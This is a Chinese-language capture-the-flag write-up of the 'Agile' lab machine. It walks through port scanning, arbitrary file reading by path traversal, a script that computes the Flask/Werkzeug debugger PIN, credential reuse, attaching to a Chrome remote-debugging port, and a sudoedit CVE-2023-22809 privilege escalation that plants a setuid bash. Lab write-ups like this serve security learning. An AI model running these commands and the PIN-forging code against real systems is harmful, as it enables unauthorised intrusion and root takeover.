信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -min-rate 10000 10.10.11.203
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-25 10:50 CST
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -sC -O -p80 10.10.11.203
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-25 10:52 CST
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.12s latency).

PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

对目录,和子域名搜集无果后,直接访问80;

文件读取

随意注册一个账号,并登录;在/vault下有一个记录用户名和密码的功能,并且可以导出,

“导出”的http-header的get请求

1
2
GET /download?fn=12345_export_9b398f27c8.csv HTTP/1.1
Host: superpass.htb

这里并不难发现,”导出”功能点存在,目录穿越导致任意文件下载;并且可以看到corum,edwards,dev_admin用户位于”/home/“下;

即使这里存在文件读取,但是不知道敏感信息到路径等,无法得到立足点;

flask算pin码

在注册用户时,有一个flask的报错;得知,这是一个flask应用;当我尝试通过文件读取拿到flask默认app应用的源码是/app/app.py时,并没有这个文件,看来路径没我想到那么简单;

我试着看看flask的动态调试是否开启,访问/console路径,返回的是:”404 Not Found”;我以前都是这样查看flask的动态调试是否为开启状态的;我自以为访问/console没有回显就是动态调试为关闭;实时证明我是多么愚蠢;

在报错页面,点击右侧的小窗口即,就会弹出要求输入pin的框

打ctf打多了的,一下就想到了”文件读取”+”pin码”;很明显需要我们通过文件读取从而计算pin码;

hacktricks上有一篇关于计算pin码的文章,值得一看;

flask的pin码计算,根据环境和版本的不同,计算的方式不同。怎么确定用那种方式呢?在这台靶机中我们可以利用文件读取来查看这台机器计算pin码的源码

/app/venv/lib/python3.10是根据报错页面得到的,site-packages/werkzeug/debug/__init__.py则是固定路径

1
/app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py

源码太长,只贴一部分,从中可以看出是以sha1的方式计算的,我们对应的脚本也应该用sha1;

1
2
3
4
5
6
7
8
9
10
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()

username 是启动此FLASK的用户;有一个比较聪明的办法,通过环境变量/proc/self/environ

如果环境变量中没有,那就估计只能泄露/etc/passwd一个一个试了

modname is flask.app

getattr(app, "__name__", type(app).__name__)这里的第三个值默认的Flask,但情况并非总是如此;而是’wsgi_app’;这与 Flask 在主机上的启动方式有关。

这一点可以通过/proc/self/cmdline;cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令

1
/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app

这个命令的意思是使用Python虚拟环境中的Python 3解释器来运行Gunicorn服务器,绑定到本地的5000端口,使用10个线程处理请求,并设置请求超时时间为600秒,同时运行名为app的WSGI应用程序;

getattr(mod, '__file__', None) 是Flask目录中app.py的绝对路径,通过报错页面得知;

uuid.getnode()当前计算机的MAC地址str(uuid.getnode())是mac地址的十进制表达。

查找服务器 MAC 地址,需要知道正在使用哪个网络接口来为应用程序提供服务(例如eth0)。如果未知,则泄漏/proc/net/arp设备 ID,然后泄漏MAC 地址/sys/class/net/<device id>/address

1
2
>>> int("00:50:56:b9:1e:a9".replace(":",""),16) 
345052356265

get_machine_id()在源码中是一个函数,主要的功能是放回”/etc/machine-id”或者”/proc/sys/kernel/random/boot_id”之中一个(machine-id更优先),和”/proc/self/cgroup”的值以/分割的第一个放回值,这一点可能表达的不是很清楚,自己看看源码就懂了;

贴了get_machine_id()函数中的一部分代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break#这里有一个break,如果可以拿到"/etc/machine-id"就会退出

try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# sha1
import hashlib
from itertools import chain

probably_public_bits = [
'www-data'
'flask.app',
'wsgi_app',
'/app/venv/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
'345052356265', # /sys/class/net/eth0/address 16进制转10进制
'ed5b159560f54721827644bc9b220d00superpass.service'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

user-corum

发现敏感文件,其实在/app目录下也只有config_prod.json文件对www-data可读

1
2
cat config_prod.json                                                                               
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

伪终端

1
python3 -c "import pty;pty.spawn('/bin/bash');" 

连接数据库

1
2
mysql -usuperpassuser -p 
password: dSA6l7q*yIVs$39Ml6ywvgK

superpass.passwords表中发现corum用户的密码:5db7caa1d13cc37c9fc2

1
2
ssh corum@10.10.11.203
password:5db7caa1d13cc37c9fc2

权限检查

1
2
3
4
corum@agile:~$ sudo -l
[sudo] password for corum:
Sorry, user corum may not run sudo on agile.

Chrome调试

/etc/hosts发现子域名”test.superpass.htb”

1
2
3
corum@agile:~$ cat /etc/hosts
127.0.0.1 localhost superpass.htb test.superpass.htb
127.0.1.1 agile

查看子域名的nginx配置文件;它仅在本地主机上侦听,并将所有内容代理到本地主机 5555。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
corum@agile:/etc/nginx/sites-available$ cat /etc/nginx/sites-available/superpass-test.nginx 
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;

location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}

通过ssh本地端口转发到kali机上;

1
ssh -L 5555:localhost:5555 corum@superpass.htb

而然,这并没有帮助;

/tests/functional/test_site_interactively.py文件发现在动态调试selenium;之前python爬虫用过selenium;

Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
corum@agile:/app/app-testing$ cat ./tests/functional/test_site_interactively.py                                     
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait


with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
username, password = f.read().strip().split(':')


@pytest.fixture(scope="session")
def driver():
options = Options()
#options.add_argument("--no-sandbox")
options.add_argument("--window-size=1420,1080")
options.add_argument("--headless")
options.add_argument("--remote-debugging-port=41829")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
driver = webdriver.Chrome(options=options)
yield driver
driver.close()


def test_login(driver):
print("starting test_login")
driver.get('http://test.superpass.htb/account/login')
time.sleep(1)
username_input = driver.find_element(By.NAME, "username")
username_input.send_keys(username)
password_input = driver.find_element(By.NAME, "password")
password_input.send_keys(password)
driver.find_element(By.NAME, "submit").click()
time.sleep(3)
title = driver.find_element(By.TAG_NAME, "h1")
assert title.text == "Welcome to your vault"


def test_add_password(driver):
print("starting test_add_password")
driver.find_element(By.NAME, "add_password").click()
time.sleep(3)
site = driver.find_element(By.NAME, "url")
site.send_keys("test_site")
username = driver.find_element(By.NAME, "username")
username.send_keys("test_user")
driver.find_element(By.CLASS_NAME, "fa-save").click()
time.sleep(3)

assert 'test_site' in driver.page_source
assert 'test_user' in driver.page_source


def test_del_password(driver):
print("starting test_del_password")
password_rows = driver.find_elements(By.CLASS_NAME, "password-row")

for row in password_rows:
if "test_site" == row.find_elements(By.TAG_NAME, "td")[1].text and \
"test_user" == row.find_elements(By.TAG_NAME, "td")[2].text:
row.find_element(By.CLASS_NAME, "fa-trash").click()

time.sleep(3)
assert 'test_site' not in driver.page_source
assert 'test_user' not in driver.page_source


def test_title(driver):
print("starting test_title")
driver.get('http://test.superpass.htb')
time.sleep(3)
assert "SuperPassword 🦸" == driver.title


def test_long_running(driver):
print("starting test_long_running")
driver.get('http://test.superpass.htb')
time.sleep(550)
#time.sleep(5)
assert "SuperPasword 🦸" == driver.title

从文件中发现”–remote-debugging-port=41829”

1
2
corum@agile:/app/app-testing$ netstat -ltun|grep 41829
tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN

本地端口转发

1
ssh -L 41829:localhost:41829 corum@superpass.htb

打开 Chromium 并chrome://inspect转到设备页面

单击“done”会显示一个新的远程目标:

单击“inspect”会弹出一个连接到测试 selenium 的开发工具实例:

从中可以发现”edwards”用户的密码:”d07867c6267dcb5df0af”

user-edwards

1
2
corum@agile:~$ su edwards
Password: d07867c6267dcb5df0af

权限检查

1
2
3
4
5
6
7
8
9
10
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

发现可以用dev_admin用户的sudoedit命令编辑两个文件;这两个文件似乎并没有什么帮助;

1
2
3
4
5
sudo -u dev_admin sudoedit /app/config_test.json
{
"SQL_URI":
"mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
1
2
sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4

sudo版本从1.8.0到1.9.12p1之间存在CVE-2023-22809

1
2
3
4
5
6
edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

此漏洞允许用户在用户提供的环境变量中提供额外的参数,从而允许攻击者访问配置允许的其他文件以进行处理。此处应用允许 edwards 将任何文件写入 dev_admin,而不仅仅是这两个。

我们只能编辑以前作为dev_admin找到的文件。在/app中找到的test_and_upgrade.sh bash脚本显示了一个有趣的命令,特别source /app/venv/bin/activate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
edwards@agile:/app$ cat test_and_update.sh
#!/bin/bash
# update prod with latest from testing constantly assuming tests are passing
echo "Starting test_and_update"
date
# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit
echo "Not already running. Starting..."
# start in dev folder
cd /app/app-testing
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit
# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"

我们可以看到,该文件由根目录所有,组归dev_admin所有,后者拥有编辑该文件的权限。

1
2
edwards@agile:~$ ls -al /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 5 17:03 /app/venv/bin/activate

利用CVE-2023-22809/app/venv/bin/activate写恶意代码;

1
EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

恶意代码如下;

1
2
cp /bin/bash /tmp/zixyd
chmod 4777 /tmp/zixyd

最后等几分钟,

1
2
3
4
5
edwards@agile:~# ls -al /tmp/zixyd
-rwsrwxrwx 1 root root 1396520 Jan 25 14:04 /tmp/zixyd
edwards@agile:~# /tmp/zixyd -p
edwards@agile:~# cd /root
edwards@agile:/root#